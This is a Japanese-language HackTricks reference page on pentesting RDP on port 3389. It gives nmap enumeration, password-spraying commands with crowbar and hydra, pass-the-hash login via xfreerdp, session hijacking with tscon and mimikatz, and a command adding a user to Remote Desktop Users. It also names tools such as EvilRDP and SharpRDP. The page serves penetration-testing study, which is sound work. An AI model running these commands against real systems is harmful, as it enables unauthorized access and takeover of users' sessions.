3389 - Pentesting RDP

Reading time: 8 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

Microsoftによって開発されたRemote Desktop ProtocolRDP)は、ネットワークを介してコンピュータ間のグラフィカルインターフェース接続を可能にするように設計されています。この接続を確立するために、ユーザーはRDPクライアントソフトウェアを利用し、同時にリモートコンピュータはRDPサーバーソフトウェアを操作する必要があります。このセットアップにより、遠隔コンピュータのデスクトップ環境をシームレスに制御およびアクセスでき、実質的にそのインターフェースをユーザーのローカルデバイスに持ち込むことができます。

デフォルトポート: 3389

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

列挙

自動

bash
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>

利用可能な暗号化とDoS脆弱性をチェックし(サービスにDoSを引き起こすことなく)、NTLM Windows情報(バージョン)を取得します。

ブルートフォース

注意してください、アカウントがロックされる可能性があります

パスワードスプレー

注意してください、アカウントがロックされる可能性があります

bash
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

知られている資格情報/ハッシュで接続する

bash
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash

RDPサービスに対する既知の資格情報の確認

impacketのrdp_check.pyを使用すると、RDPサービスに対していくつかの資格情報が有効かどうかを確認できます:

bash
rdp_check <domain>/<name>:<password>@<IP>

攻撃

セッションの盗難

SYSTEM権限を持っていれば、**所有者のパスワードを知らなくても、任意のユーザーによって開かれたRDPセッションにアクセスできます。

開かれたセッションを取得:

query user

選択したセッションへのアクセス

bash
tscon <ID> /dest:<SESSIONNAME>

今、選択したRDPセッションに入っており、Windowsのツールと機能のみを使用してユーザーをなりすますことができます。

重要: アクティブなRDPセッションにアクセスすると、そのセッションを使用していたユーザーが切断されます。

プロセスをダンプしてパスワードを取得することもできますが、この方法ははるかに速く、ユーザーの仮想デスクトップと対話することができます(ディスクに保存されていないノートパッドのパスワード、他のマシンで開かれた他のRDPセッション...)。

Mimikatz

この目的のためにmimikatzを使用することもできます:

bash
ts::sessions        #Get sessions
ts::remote /id:2    #Connect to the session

Sticky-keys & Utilman

この技術をstickykeysまたはutilmanと組み合わせることで、いつでも管理者CMDおよび任意のRDPセッションにアクセスできます。

これらの技術のいずれかでバックドアが仕掛けられたRDPを検索するには、https://github.com/linuz/Sticky-Keys-Slayerを使用できます。

RDPプロセスインジェクション

異なるドメインの誰かがより高い権限でRDP経由であなたが管理者であるPCにログインした場合、彼のRDPセッションプロセスにあなたのビーコンをインジェクトして、彼のように行動することができます:

RDP Sessions Abuse

RDPグループへのユーザー追加

bash
net localgroup "Remote Desktop Users" UserLoginName /add

自動ツール

AutoRDPwnは、主にMicrosoft Windowsコンピュータに対するShadow攻撃を自動化するために設計されたPowershellで作成されたポストエクスプロイトフレームワークです。この脆弱性(Microsoftによって機能としてリストされています)は、リモート攻撃者が被害者の同意なしにデスクトップを表示し、さらには要求に応じてそれを制御することを可能にします。これは、オペレーティングシステム自体にネイティブなツールを使用します。

  • EvilRDP

  • コマンドラインから自動的にマウスとキーボードを制御

  • コマンドラインから自動的にクリップボードを制御

  • クライアントからSOCKSプロキシを生成し、RDPを介してターゲットへのネットワーク通信をチャネル

  • ファイルをアップロードせずにターゲット上で任意のSHELLおよびPowerShellコマンドを実行

  • ターゲットでファイル転送が無効になっている場合でも、ターゲットとの間でファイルをアップロードおよびダウンロード

  • SharpRDP

このツールは、グラフィカルインターフェースを必要とせずに被害者のRDPでコマンドを実行することを可能にします。

HackTricks 自動コマンド

Protocol_Name: RDP    #Protocol Abbreviation if there is one.
Port_Number:  3389     #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html

Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする